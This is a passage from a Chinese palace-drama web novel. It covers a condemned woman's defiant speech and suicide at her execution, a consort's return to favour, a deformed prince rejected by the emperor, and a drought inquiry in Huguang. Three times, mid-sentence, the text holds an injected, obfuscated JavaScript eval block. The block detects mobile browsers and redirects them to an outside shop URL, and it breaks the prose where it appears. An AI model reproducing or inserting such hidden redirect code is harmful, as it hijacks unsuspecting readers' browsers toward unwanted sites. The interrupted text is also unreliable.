圣旨传遍前朝后宫,皇帝甚至派了一个太监专门向沈明珮复述圣旨。自从当日拂袖而去后,皇帝一直未曾踏入长春宫,到此时已有二十五天。 “娘娘,该怎么办啊?”白菊快急哭了。 皇帝毫不掩饰地派人来长春宫宣旨,一点也不顾及这会给沈明珮带来什么影响。 “能怎么办?”沈明珮心中郁结,“他是皇帝,他掌握着生杀大权,我除了低头请罪还能怎么办?” 莹娘安静地呆在牢房里,静静等待自己的死亡。大抵是因为她是皇帝亲自下圣旨要处死的,本就乐于虐待犯人的狱卒对她更是各种侮辱。 这天,一个狱卒刚收走她没动几口的,早就已经馊掉的干粮,就有另一个狱卒走进大牢,对她说:“死囚莹娘,有人探望。” 她看向牢门外,看到本该回到家乡的李春芽拎着食盒走进来。 “你们出去,”李春芽命令狱卒,见他们不走,又沉下脸呵斥道,“怎么,本乡君的话不好使吗?” 两个狱卒连忙道歉,而后离开。李春芽见二人走了,将食盒拿出来打开,露出里面丰盛的饭菜。 莹娘没有接过餐盒,满是担忧地问她:“陛下不是让你走吗,你怎么又回来了?快点回家,跟我这个死囚掺和在一起做什么。” “姐姐不必担心,我只是给姐姐送顿饭,就是陛下也说不了我什么,”李春芽顿了顿,才低声说,“倒是姐姐才是真受苦了。” “我把人杀死后有心理准备了,”莹娘古井无波,“这个世道,对女人和对男人,本就是不同的。” 所以男子杀妻,可以联合父母作伪证,把脏水泼到妻子的头上就能脱罪,但女子,即使是被迫害到走投无路,一旦拿起刀,就是十恶不赦。 李春芽一言不发,低着头打开食盒的第二层,拿出一个小瓶子,放在莹娘手里。 “这个,可以放嘴里咬开,姐姐若是不愿受凌迟之苦,可以将它服下。” 莹娘握住它,将它放在衣襟下。 李春芽走了,她的境遇反而好起来,至少每日的饭食是能吃的了。她再无人探望,直到行刑前一天,礼部郎中府派了一个穿着小厮衣裳的人给她送断头饭。 49. 种子 莹娘认识他。这人非但不是小厮,还是莹娘的兄长。只是这位血缘关系上的兄长对她也只有嫌弃。 “爹说了,家里不能出被凌迟而死的姑娘,哪怕已经被逐出宗族也不行,你自尽吧。” 说完,他像躲避疫病一样快步离开,连食盒都不要了。 莹娘冷笑着看着他离开,而后退回到牢房最深处,靠着墙壁坐下。她兄长带来的那个食盒,她碰都没碰一下。 第二天上午,她被两个狱卒拉上囚车。一晚上没吃东西,她本就虚弱的身体更是没有多少力气,靠着栏杆低着头坐在囚车中。没人注意到,李春芽给她的小瓶子被她含在嘴里。 刑场周围照例围了不少围观的百姓,只不过这次没有几个向死囚扔臭鸡蛋、烂菜叶子的人。大抵是因为定国公府三少爷实在是作恶多端,不少人看向她的眼神都带着怜悯。快到午时时,一伙人突然穿过人群,冲进刑场。 “干什么,都给我出去!”监刑官派小吏赶他们走,不想反被这群人推了回来。 “我们又不能改变陛下的旨意,只是送恩人一成都不行吗?”为首者走出人群,监刑官认出来,她正是当时被解救出定国公府三少爷后院的受害者之一。 人群里又陆陆续续走出来几人,都是当日一起被救出来的,俱是女子。她们在为首之人的带领下对着莹娘跪下,俱是三叩首。 “谢娘子救我等于水火。” 监刑官突然生出一种预感,今日这场死刑大概很难顺利完成了。 果然,在道谢者拜别莹娘退下后,莹娘又问监刑官:“我想问大人几个问题,请大人为我这个将死之人解惑。” 迎着围观百姓的注视,监刑官不好拒绝,冷着脸允许:“快点问,不可过了时辰。” “好,”莹娘也痛快答应,“先前被三少爷殴打时,我曾查遍律法,也曾想办法打听过往案例,可惜并无女子成功从夫君殴打中逃脱,甚至即使被打死,只要按一个不敬舅姑的罪名,男子就可无罪。敢问大人,今日我不堪殴打愤而杀夫,你们说我十恶不赦,那妻子被丈夫殴打之时,朝廷在哪?” “这是家务事,关朝廷何事?”监刑官说。 “哦,家务事,”莹娘冷笑,“我的第二问便是,既然夫殴妻是家务事,为何妻殴夫不是家务事,反而要受刑?” “夫殴妻和妻殴夫能一样吗?”监刑官脱口而出,“夫为尊妻为卑,以卑逆尊,当然要处以刑罚。” 莹娘紧随着他的话:“同样都是人,同样都是两只眼睛一个鼻子一张嘴,两个胳膊两条腿,凭什么夫就是尊妻就是卑?” “男尊女卑,天理如此,老天就是这么规定的!”监刑官开始不耐烦,“没什么问题就赶紧受刑,别想着用这种方法多拖性命。” “这不是老天的规定,”莹娘用尽全身的力气,高声驳斥,“如果女子当真天生卑微,上天何必让女子诞生于世?让这世上全是高级的、尊贵的男子,不是更好吗?男人离不开女子,人的延续也离不开女子,女子远比各种典籍、律法上说的重要得多!” “来人,堵住她的嘴,速速行刑!”监刑官知道不能再让她说下去了,立刻命令小吏行刑。 但他下令的同时,先前叩谢她的女子们再次冲过人群,将小吏拦住。也有些观刑的普通百姓走出人群,与阻拦小吏的获救者及其家属站在一起。 监刑官面色铁青。 “女子如今位卑,从不是因为天理,而是因为人欲。有人希望我们为人的存续做贡献,又不希望我们因此得到应有的报偿,所以才打压我们,强占我们的功劳,而后将我们放到与奴隶一样的地位上,只要敢反抗他们,就会被打为十恶不赦,不得好死。” 莹娘这些天在死牢无事可做,想了很多。想她过往的人生,想她当初的上天无路入地无门,也想她最后鬼使神差般的动手。她觉得自己似乎想明白了一些事,不愿意吞着这些想法死的她决定无论如何也要把她想到的说出来。 “从古至今,每一任朝廷都未曾把女子当做子民。女子是生育的工具,是贵人的玩物,是家庭的奴仆,唯独不是一个真正的人。只要这个现状不改,我这样的案子永远都不会断绝。” “妖言惑众!”监刑官怒斥,“自古以来的天理岂是你一个恶逆罪人能置喙的!既然没有问题了,就快过来受刑!” 而后,他惊恐地看见,莹娘的嘴角流出一缕乌血。 “朝廷既不视我为子民,又何来审判我的资格!”她以最后的力气说,“我今日固然已无活路,但也绝不以你们判决的方式赴死。” 说罢,她倒在地上,气息全无。 监刑官脸都白了。皇帝亲自下的旨,结果犯人在大庭广众之下质疑完朝廷后自尽了,他这个监刑官以后还有官做吗? “快,快上报陛下!”他命令周围,而后发现自己是在场中品级最高的那一位。 围观百姓已经陆续离开,他愤怒地命在场小吏扣留向莹娘道谢的人群,自己立刻进了宫。 乾清宫内,皇帝听到他的禀报,直接将镇纸砸在他的头上。 “一个罪妇的行刑能闹成这样,你可有本事啊,”皇帝声音阴森,“将她当众鞭尸五十,而后悬挂到宣武门上,朕倒要看看,谁敢信她的妖言!” “是,”监刑官应下,又问,“那,那些向她道谢的人呢?” 皇帝一时不语。监刑官跪在下面,能清楚地听到他急促的呼吸声。 过了良久,皇帝才缓缓说:“他们毕竟是受害者,也不知道莹娘想做什么,放了吧。” 长春宫内,沈明珮已经闭宫很久,除了每日请安和与司珍司沟通外不见任何人。 莹娘行刑第二天,她从坤宁宫回来后,寒露将刑场上发生之事告诉她。 “那监刑官想把人扣下,结果那几个小吏根本拦不住一大群人。陛下非常生气,要将莹娘鞭尸示众,而后悬挂于城门上,并且严禁民间谈论此事,”寒露说,“这是娘娘您晨定时老夫人派人将消息递进宫。” “严禁谈论,”沈明珮冷笑,“那么多人看到、听到,他禁得住吗?” “娘娘?”寒露面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137856|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露惊惧,低声道,“您别说了。” 沈明珮笑了。她把自己关进寝屋中,拿起纸笔,过了半个时辰才出来。 “寒露!”她将人叫来,把信封递给她。 寒露面色凝重地点点头,将信封接过。 “娘娘,陛下那边该怎么办?” “他现在正在气头上,还是先不招惹他,等过两天再说,”沈明珮安抚她,“你放心,我心里有数。” 寒露办事迅速,当天夜里就将信封送了出去。刘芸大半夜被叫起来,打开信封,倒吸一口凉气。 “我这女儿,可真会给我找麻烦啊。” 莹娘的尸首挂在城门上没两天,就在一个大清早不翼而飞。顺天府知府急得嘴起泡,搜遍京城,也只搜到了一伙偷盗尸体配阴婚的团体。 京郊山上,没人知道的角落里,一个墓碑悄然竖起。墓碑上只有四个大字,“莹娘之墓”,立碑人在碑前摆了三炷香和贡品便悄然离开。她生前被父族利用抛弃,被夫族囚禁虐待,死后终于能在此地自由地安息。 长春宫内,再一次敲打了心思不定的司珍司司珍后,沈明珮又一次去了长春宫内的小厨房。 傍晚时分,赵德光提着食盒走进乾清宫正殿。 皇帝此刻心情很不好。他的禁言到底还是没有禁住,有围观的商人、旅人当天就离开京城,一路回家的同时也将莹娘的话传到了大齐各地。见赵德光拎着食盒进来,皇帝不耐地怒斥。 “什么时候了还替人邀宠,朕看你这司礼监提督是不想做了!” 赵德光忙跪下说:“陛下,这次是贤妃娘娘向您请罪,奴婢不好直接拒绝。” “贤妃?”想起一个多月前的那天,皇帝仍有不虞,没好气道,“朕倒要看看她要怎么请罪。” 赵德光将食盒拿到桌上打开。食盒共有两层,上层是几道点心,模样精美。但点心并未吸引皇帝,他将这几个盘子拿到一边,打开第二层。第二层里共有三样东西:一封请罪书,一本《女戒》,一本《内训》。《女戒》与《内训》皆为手抄。 皇帝看着这三样东西,愠色褪去。 当天晚上,皇帝驾临长春宫,沈明珮素衣脱簪走到院中,一见皇帝,便跪在地上,行稽首大礼。 沈明珮行过大礼,又伏在地上很久,才听到皇帝不咸不淡地说:“起来吧。” 她站起身,皇帝走在前面,她低眉敛目,空出一个身子的距离跟在后面。走进正殿,皇帝看到殿内书案上和书案旁的地上,放着一摞又一摞的《女戒》和《内训》。 “真抄了一百遍啊?”他转头问沈明珮。 沈明珮恭敬回他:“妾不敢说谎。” 皇帝背着手走过去,拿起其中一本翻开,见上面的字每一页都端正整齐,满意地合上放回去。 “看来你这阵子确实认真反省了。” 当天晚上,皇帝留宿长春宫。 夜里,一直未入睡的沈明珮睁开眼睛,悄然坐起身,看着身边睡得正香的皇帝。 黑夜中,她的眼里满是杀意。 50. 畸形 沈明珮复宠了。 复宠后的沈明珮第一时间将司珍司的人叫到长春宫。女官从司珍到掌珍排成一排站在前面,普通宫女站在后面。 殿内安静得落针可闻,女官和宫女都战战兢兢地低着头,等坐在主位上的沈明珮翻看完手里的册子。 “啪”的一声,沈明珮将册子合上,扔给侍立在主位旁的寒露。 “大点声读,让她们看看自己这些时日都干了些什么。” 宫人中,有人不由自主地缩了缩脖子。 寒露开始大声诵读,一口气从头读到尾,而后将册子双手递给沈明珮。 沈明珮收回册子。 “刚刚念到名字的人,都出来吧。” 这些人最初是不想走出来的,但沈明珮招了招手,长春宫正殿所有当值的宫人竟然全部出现,将她们围住。无奈之下,这些人品级最高的一个司珍走出队列。 她这一走,其他人也不再拖着,陆陆续续走到前面,又列成一队。 “好了,现在该说说,按宫规本宫要怎么罚你们了。” 贤妃复宠第二天,司珍司就迎来了一场大清洗。失宠期间心怀鬼胎之人,按犯事严重程度,或送入宫正司,或赶出司珍司,或降低品级。与此同时,也有这段时日踏实做事的宫人被提了品级。 最重要的是,所有认真当值的宫人,沈明珮都发了赏银,没有犯事的司珍甚至被赏了一对皇帝赐下来的累丝镶宝金镯子。 “尔等认真当值,不因本宫一时困顿便欺瞒本宫,本宫虽财力有限,也当奖赏诸位。望诸位以后也能如先前一般,不论有什么事,都能不受影响,认真做事。” “奴婢谨遵娘娘教诲。”宫人们屈身行礼,齐声道。 等司珍司宫人离开,寒露抱着账本打着算盘心疼地说:“一人二两银子,娘娘,这下子咱们长春宫可彻底穷了。” 沈明珮拿过账本,看了一眼,也肉疼地将它倒扣在桌上。 沉默了一会儿,她才艰难地说:“舍不得孩子套不着狼,都是为了以后!” 寒露拿起账本,又问:“那我们还要打探宫中各处吗?” “要,当然要,”沈明珮斩钉截铁,“我们本就根基浅,不拉拢被皇后排挤打压之人,如何能快速凝聚实力?这群人也不用一赏便是一两二两银子,给她们些大钱,让她们少受写打压,能安稳过活,就已经比她们现在强多了。” 这个秋日对长春宫上下是忙碌的。他们一面要打听可拉拢的人,一面还要瞒住可能向皇帝告密的白芷。努力的成果也是喜人的,沈明珮在宫里拉起一张不算结实的网。 刚刚进入冬天,赵才人被诊出有孕。 赵才人本是宫女,皇帝还是亲王时就进了王府。她没有顺嫔的运气,熬了很多年,熬到皇帝登极也只得封宝林。收服奴儿干后,皇帝在皇后的提议下大封后宫,她跟着一起升为才人。待遇固然变好了,但依然一年到头见不到皇帝几次。 她以为自己这辈子就这样了,没想到皇帝一次偶然的临幸让她有了身孕。 因为是大龄孕妇,太医建议谨慎对待,她到满三个月之前就没有再出自己的宫室。她只是才人,出不出现区别不大,因此她请假时皇后很轻松地就同意了。 等她结束休养时,时间也已到了年底。 除夕,结束了宫宴的沈明珮回到殿内,将她的所有宫人都叫来。寒露是最后到的,手里拎着一个大布袋子,放到沈明珮脚边。 “各位跟着我的时间都不短了。哪怕是我封妃后才分进来的,也快两年半了,白芷、白菊、宋英你们三个更是快五年,寒露更是同我一起进宫。这五年来,我过得还算顺利,这里面也有各位的功劳。” 说着,她打开布袋子,露出里面的一个个盒子。盒子上都标着每个宫人的名字,她拿着盒子,一个个亲手送到名字的主人手里。从她封妃时才分进来的宫人,再到跟着她一起进宫的寒露,没有例外。 “打开看看吧。”分完后,她重新坐回到主位上,对宫人们说。 寒露率先打开盒子。只见里面是一套金头面,赫然是沈明珮初入宫时皇帝赏的。其他人见状也都打开盒子,里面果然也都是皇帝赏赐的东西,虽然不是最近赏的,但也都价值不菲。 “这是你们的新年红包。新年快乐,希望现在这里的所有人以后都能一直在长春宫。” “多谢娘娘!”众人道谢。 初二,刘芸进宫,给了沈明珮一叠银票。 “你义妹的饭庄开了个分店,现在内城外城各有一家店面。她经营得不错,让我给你送些银钱。另外秋霜在她那里呆满了两年,现在已是自由身。她与我商量后南下,开了家书肆,生意尚可,这是她给你的信。” 沈明珮将信接过。信上写秋霜现在住在松江府,写她定居开店之后的经历,还说只要有事随时可以联系她。 沈明珮将信收下。 正月过后,上任将满三年的上科进士们离开翰林院就值,孔诚任工部员外郎。 新一次的春闱与沈明珮无关,曾经张扬的新人也早已被磨平了棱角,转眼间,便到了赵才人的预产期。 赵才人的孕期没有风波,生产也很平静,正常到了时候,正常发动。因为她年纪大,太医对稳婆耳提面命,生怕出了问题,结果这些准备也没用上。 皇后带着妃子们等在产房隔壁的宫室,直到估计着孩子该生出来了,皇帝才带着人赶过来。 “怎么样,生出来了吗?”例行公事一样,皇帝上来就这么问皇后。 皇后微微蹙眉。 “还没有,”她温声回答,“但应该快了,陛下莫要着急,不若先坐下休息一番。” 皇帝点点头,坐在她身边。 隔着一堵墙,产房内的动静依稀可闻,大概又过了两刻,众人们听到稳婆的声音。 “出来了,看到头了,才人坚持住,”稳婆高声道,“好了,生出来了!” 皇帝闻声站起身,皇后和妃子们也跟着一起站起来。 “恭喜陛下,恭喜娘娘,才人她生了——” 稳婆的道喜声从隔壁传来,却戛然而止。 这边等待的众人察觉出不妙,你看看我,我看看你,一点动作都不敢有。 宫室内,气氛顿时沉重起来。 稳婆抱着孩子,战战兢兢地走进来,将孩子抱到皇帝身边。 “陛下,才人主子生了个皇子,但是……”说着,她打开襁褓,将婴儿完整地展现在皇帝面前。 皇帝一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147474|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看过去,脸一下就黑了。这个婴儿,右手有四根手指。 “怀胎十月,她就生出个这个?”皇帝拂袖而去,将后妃与新生的皇子留在了宫室内。 众人心知肚明,赵才人不但不可能靠着新生的六皇子晋位,还很有可能因为他遭到厌弃。 产房内,撑着一口气等待晋封的赵才人听到这一切,彻底绝望地晕过去。 皇帝丝毫不掩饰自己对六皇子的厌恶。不仅对赵才人毫无封赏,六皇子的洗三礼、满月宴也一概没有办。六皇子赫然成了大齐立国以来第一个没有洗三礼、没有满月宴的皇子。 赵才人出了月子,抱着孩子就去坤宁宫。 她泪流满面,伏倒在地:“娘娘,求您救救妾,让妾有条活路吧!陛下这样子,妾和六皇子要怎么活啊!” 皇后也很无奈。皇帝做的决定,她何时能够推翻过。 但她还是点点头:“我去试试吧。不过你不要抱太大希望。” “娘娘愿意为妾说话,妾已经很满足了,不论结果如何,妾都接受。”赵才人抱着六皇子不停磕头。 皇后收拾收拾便去了。 见皇后进乾清宫,皇帝眼底闪过不耐。皇后看得一清二楚,只装作不知。 “皇后有何事?” 皇后这次来乾清宫,连打幌子用的吃食都没带,她直接便说:“妾身此番为赵才人与六皇子而来。六皇子的洗三礼与满月宴都没有办,百日宴当作何安排?赵才人是否也该做封赏?” “生出个残疾皇子,她还有脸要封赏?”皇帝嗤之以鼻,“你回去吧,朕自有安排。” 见皇帝不容置疑,皇后没再尝试。回到宫中,她将皇帝的话原样复述给赵才人,赵才人这回连哭都哭不出来,失魂落魄地抱着六皇子回去了。 六皇子的百日宴依然没有举办。 满百日当天,皇帝下了一道圣旨,赐名六皇子为顺安,封其为镇国将军。 赵才人哭着接过圣旨,连赏银都没给传旨太监就让他离开。传旨太监也没好意思讨赏银。 本代皇子取名从宏字,取水字旁,顺安二字与此全无关联,可见皇帝从心里就不认六皇子为他的孩子。只封了镇国将军,更足以见皇帝对他的厌弃。本朝皇帝之子大多封亲王,三代以后封郡王,再三代之后才封镇国将军,此后每代降一等,先后降为辅国将军和奉国将军,而后再无爵位。以往再不受宠的皇子也能得封郡王,六皇子可倒好,直接封了镇国将军,也是大齐历史上闻所未闻之事。 六皇子固然天生残疾,但皇帝的冷酷又何尝不令人心凉。圣旨下达当天,赵才人便自闭宫门,带着六皇子做了居士。 沈明珮当然也听说了圣旨。她来自后世,自然知晓,随着父亲的年纪增大,孩子天生残疾的概率也会增大,皇帝如今的年龄已绝对算不上年轻,自然孩子就会有不健全的风险。 皇帝固然不可能知道这些知识,但六皇子好歹是他的孩子,即便残疾,又何必恨之欲其死? 她坐在床上,一动不动了足有半个时辰,才将寒露叫过来。 屏退旁人,关上门,沈明珮问出一个让寒露惊骇欲绝的问题:“我知晓舅舅曾经训练你医术。若是让你继续精进,你有没有可能配出让男子绝育的药?” 51. 旱灾 “恭喜娘娘,娘娘已有月余身孕。”又是一次请平安脉,云太医手指搭在脉上,沉吟片刻后向沈明珮道喜。 “有劳云大人了。”沈明珮说着,示意寒露将装着赏银的荷包给云太医。 但她面上并无喜色。 自从进入荣嘉九年,大齐南部就一直在遭受旱灾。其实荣嘉八年的冬天,大齐全境就很少落雪,转头进了新一年的春天,江南、湖广,全部遭受春旱。 江南、湖广是大齐两大粮仓,此番一同遭灾,皇帝焦头烂额,连本该办的选秀都取消了。此时上报喜事,恐怕皇帝并不会有太多喜悦。 “娘娘,要上报吗?”云太医走后,寒露问沈明珮。 “当然要上报,事关皇嗣,岂是我等可以拖延的?”说着,沈明珮叫来白芷。 白芷领命而去后,沈明珮问寒露:“先前让你研究的东西,你研究得怎么样了?” “娘娘,这东西挺难的,奴婢还在学,”寒露面露难色,“您现在就要吗?” “不急,我刚刚有孕,现在不是时候,你先慢慢研究着。” 白芷到达乾清宫时,皇帝果然在为了旱灾发愁。思绪被打断,白芷进去时他的眼神非常不善。 “到底有何事禀报?”他这番态度,分明是白芷禀报的若不是要事就要受罚。 “陛下,贤妃娘娘有孕了。”大抵是在训练时经历得够多,面对这等状态的皇帝,白芷依然非常镇定。 听到此事,皇帝面色转晴。 “朕知道了,你先回去吧。” 当天晚上,皇帝驾临长春宫。沈明珮刚要行礼,就被他架住。 “你有身子,不必多礼。” 两人相携走进正殿内。殿内案上恰巧摆着本书,皇帝走过去拿起来,见是本写大齐全境的游记,又缓缓放下。 “你再次有孕,大抵是这些日子来朕听到的唯一一个好消息了。”他顺势坐在桌案旁,靠着椅背,话语间满是疲惫。 沈明珮仔细打量皇帝。大抵是连日工作到深夜的缘故,他的眼下一片青黑。因为眉毛长时间皱在一起,嘴角因心中焦虑久久不得上扬,昔日不怒自威的他现在面上出现了明显的苦色。 沈明珮从没见过皇帝这般模样,她仔细斟酌着,小心翼翼地说:“陛下英明神武,定能带领大齐战胜此次春旱。” 出乎她的意料,皇帝居然长叹了口气。 “朕也想战胜此番大旱,可惜,两江、湖广两地仓内皆没有足够的银钱和粮食,其他各地的仓储也只够自己春耕,只有户部能勉强调拨赈灾之银。但是这番旱灾会这么快就结束吗?” 沈明珮听着他的感叹,垂下头,眼中闪过讽刺。各地拿不出足够的赈灾银和赈灾粮,这不是大齐的君臣自己作的吗? 前朝初立时,那位太祖皇帝为减轻百姓压力,特地将赋税定得很低,随后又采用累进税制,随着田产的增加,交的税也要增加。前朝太祖的本意是极好的,但大户们自有避税的方法,将田地层层分开,冠名到小户的头上,甚至直接搞出隐田,税负也重新落到小户的头上。各地仓场存不下多少东西,风调雨顺时倒是没什么,一旦有灾,必然无法赈济灾民,更不要提修筑工事预防灾害。主要税目收不上东西,各种杂项税目却越来越多,收上来的钱粮地方官贪一些,漕运中损耗一些,然后到了京城,皇帝又要用去相当一部分,再给军队一些,进户部仓库的也就剩不下多少了。 前朝末年,有大臣意识到税收弊端,发起改革,改过往税收为一条鞭法,从此只分田税和丁税。但改革并不彻底,全国土地直到前朝灭亡都没有完全丈量,改革更是随着改革者死亡、家族被抄而势头大减。 新朝建立后,首辅夏琳继续改革税制,细化一条鞭法。她将全大齐居民分为农户与非农户,农户行摊丁入亩之策,每户按占有土地数量交税,无地佃农免税。至于商人、工匠以及随着江南等地工商业发展从农村涌入城市做工的无地百姓则交丁税,拥有财产不同,交的税也不同。 同时,秀才不再免税,官员俸禄增加至能够正常过活。税收项目减少后,单项税收额度增加。太祖、太宗两朝,此法一直顺利运转,因最初税收额度设定适当,国库和地方仓场也不再出现前朝动辄空虚的窘境。 但高宗将女官女将全部取缔甚至处死后,夏琳首辅的税收政策也被取缔。贸然设立其他明目固然不可行,但为了表示对女官的全部否定并表现自己的英明,高宗首先便降了税额,随后又将官员俸禄降回前朝。 刚把女性踢出朝堂的男性官员们自然山呼万岁,但很快他们就发现问题。首先,俸禄降回前朝,前朝官员不贪腐钱不够花的窘境便也找上了他们,有些出身小户的官员甚至连去地方就职都要借贷路费。其次,税率降低,税收不足,地方交给中央的税金税粮都凑不齐,地方官们纷纷各自巧立名目收钱。最后,没有银子,民生事业全部停摆,太祖太宗两朝建造的水利工程相继停止维护,等到荣嘉朝,绝大多数都已彻底荒废。 现在,席卷半个大齐的大旱来了,皇帝和朝臣才意识到赈灾的银钱不够了,昔日修建的防灾工事也都毁损了,但这些结果不是他们的先人亲手造成的吗? “有各位大人在,妾以为,总会有解决办法的。”沈明珮心中嘲讽拉满,面上依然在夸皇帝和朝臣。 至于真正有营养的话,她不会说,皇帝也不会愿意听见她说。 “是啊,总会有办法的。”皇帝轻声说。 当天晚上,皇帝没有离开,没与沈明珮各盖一张被子,同床而眠一整晚,直到该上早朝时才离开。 “贤妃姐姐当真是好手段,怀着身孕还能把陛下留下。”一进坤宁宫,沈明珮便闻到一股酸气,来源正是淑嫔。 “妹妹若是对此不满,可以向陛下进谏,我想陛下应该是会接受的。”沈明珮老神在在地坐到椅子上,反而是淑嫔一脸愤愤地把头撇到另一边。 “好了,一天天吵来吵去的,像什么样子,天子妃嫔的仪态品德你们都丢到哪去了?” 皇后这次驾临正殿的时间比平时早,一进正殿就看到淑嫔刺沈明珮,沈明珮又反唇相讥。她本就因沈明珮再度有孕心中不爽,看到这一幕更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162346|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是心头火起,直接呵斥二人。 “是妾失仪了,日后必小心行事,还请娘娘恕罪。”沈明珮嘴上说得好听,实则敷衍地行了个礼,就当这事是过去了。 淑嫔更是一声冷哼,连句话都没说,就在自己座位上坐着。 皇后脸色发白,手指甲把袖子的布料都要抓穿了,最终生生咽下这口气。 请安早早结束,妃嫔纷纷离开坤宁宫,乾清宫的早朝还在继续。 皇帝一出现在乾清宫,站在前排、熟悉皇帝的大臣们就意识到他的心情似乎比之前好点。其中几位大臣悄悄对视,而后在彼此眼中都读出了笃定。 “有事起奏,无事退朝——” 赵德光刚喊完,内阁次辅就站出来。 “臣有事要禀,”说完,他就将湖广缺赈灾银之事原原本本地说出来,临了,还奉上了湖广总督给内阁的文书,“这是湖广总督递到内阁的文书,请陛下过目。” 皇帝接过文书,观看中途,大臣们就发现他的那点好心情已经没了。又想禀报其他事的大臣狠狠瞪了次辅一眼,怨他直接把最能让皇帝上火的说了。 “两江总督没有向你们要钱吗?”皇帝沉着脸看完后,问内阁的五位阁老。 其余阁老皆不敢回答,只有宋首辅站出来回道:“回陛下,没有。” “若朕没有记错,户部给两江和湖广的银钱是一样数目。怎么两江不缺钱,湖广就缺钱了?”皇帝问内阁。 阁老们心里发苦,湖广发生了什么,他们远在京城,怎么可能知道? 最终还是宋首辅猜出了圣意。 “陛下,湖广为我大齐粮仓,不容有失。臣请为钦差大臣,亲赴湖广。”他毛遂自荐。 皇帝立刻就同意了。他当场下令,命送首辅为钦差大臣,监察御史孟怀安为其副手,赴湖广监督赈灾,必要时可直接审判当地官员,代替湖广总督指挥。二人即日起离京就职。 二人领命。 大抵是有宋首辅出马,皇帝心里的紧张也少了一些,之后竟然又有和颜悦色之感。其余大臣趁此机会纷纷禀报,不论是否与灾情有关,事情都完成得很顺利。直到快午时,这个漫长的早朝才结束。 皇帝早朝下的旨,还没过中午就传到了后宫中,沈明珮午睡刚醒,寒露就将消息告诉她。 “孟怀安?”沈明珮听到这个名字,顿觉耳熟,仔细思索后想起来,这位是与孔诚同科的状元。 这位着实是个牛人,当初国子监学生坐在宫门外要求严惩定国公府时,他就是领头之人,现在当了监察御史,恐怕会比当初更加刚硬。 “陛下倒是会选人,”沈明珮笑着评价了一句,转头又问两江,“湖广直言缺钱,两江就没什么动静吗?” “没有。”寒露回答得迅速。 “我待会儿写封信,让秋霜盯紧沈思远,你尽快把信送出去。”沈明珮立刻命令寒露。 沈思远有多少斤两,她住在沈府这么多年,以对待敌人的方式研究他这么多年,心里一清二楚。她不相信沈思远能凭一己之力带领两江度过这次旱灾。 52. 钦差 “首辅大人莅临此地,真是让下官这寒舍蓬荜生辉啊。” 宋首辅一到武昌,就受到了湖广总督的热烈欢迎。湖广总督带着手下官员、师爷小吏等一群人,浩浩荡荡地站在武昌城外,列成长龙般的一队。看到被一队京军护卫着的华丽马车停下来,湖广总督立刻走上前,果然看到宋首辅从车上走下来。 他立刻把人带进了总督府。 湖广总督府绝非寒舍,宋首辅一到衙门,就被气派的大堂震惊。穿过宏伟的大堂,进入装潢精致的二堂,带路的湖广总督才停下来——再往里走就是后院了。 “自今年正月以来所有重大事务下官都记录在案,湖广境内银钱、粮草调度和户部拨款的去处下官也都记在账册上。”说罢,湖广总督命师爷将文书与账本全都拿来,交到跟随宋首辅的卫兵手上。 首辅一行人的住处他早已安排好,立刻就有小厮引着卫兵去首辅的房间。 “宋大人,下官并未看到孟御史,可是他出了什么事?”皇帝当日一下旨,圣旨便快马加鞭送到湖广总督府,有哪些人会来,湖广总督是有数的。 他这话刚说完,跟在宋首辅身旁的京军队长先一脸不屑地转过头。 “孟御史水土不服,生了重病,已经返回京城了。”宋首辅解释。 “哦,”湖广总督点点头,“那确实得回去治病,怎么说都是命最重要嘛。” “是啊。”宋首辅赞同。 接了人,湖广总督还要处理公务。宋首辅坐在客座上旁观了一会儿,实在无聊,提出去别处走走。 湖广总督立刻让管家陪着他逛。 “宋大人尽管逛,若是有什么看上的东西,走下官的账便是。今晚下官在总督府为大人接风。” 宋首辅带着京军队长出了二堂,又细细看了一遍大堂。管家一言不发,紧紧跟在他们身后。出了总督府,二人漫无目的在街上闲逛,管家保持几步距离走在他们后面,不打扰他们,也不让他们走出自己的视线,只在需要时出现,为二人解说或是付账。 武昌城内一片祥和,没有丝毫遭受旱灾影响的迹象。宋首辅与队长对视,均看见对方眼里的凝重。 当天晚上,湖广总督将武昌城内排得上号的官员全部请来,共同为宋首辅接风。 宋首辅一到场,只是打招呼便寒暄了半刻钟。之后,他被湖广总督请到最主位,连京军队长都被安排到仅次于湖广总督的次位。 湖广总督一声开宴,仆役们就将佳肴一道道端上来。与平日高官宴饮不同,这次接风宴上没有稀奇的食物,也没有伶人献艺。 